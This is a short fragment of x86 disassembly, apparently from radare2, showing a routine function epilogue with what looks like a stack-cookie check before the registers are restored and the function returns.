xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040e0
mov esp, ebp
pop ebp
ret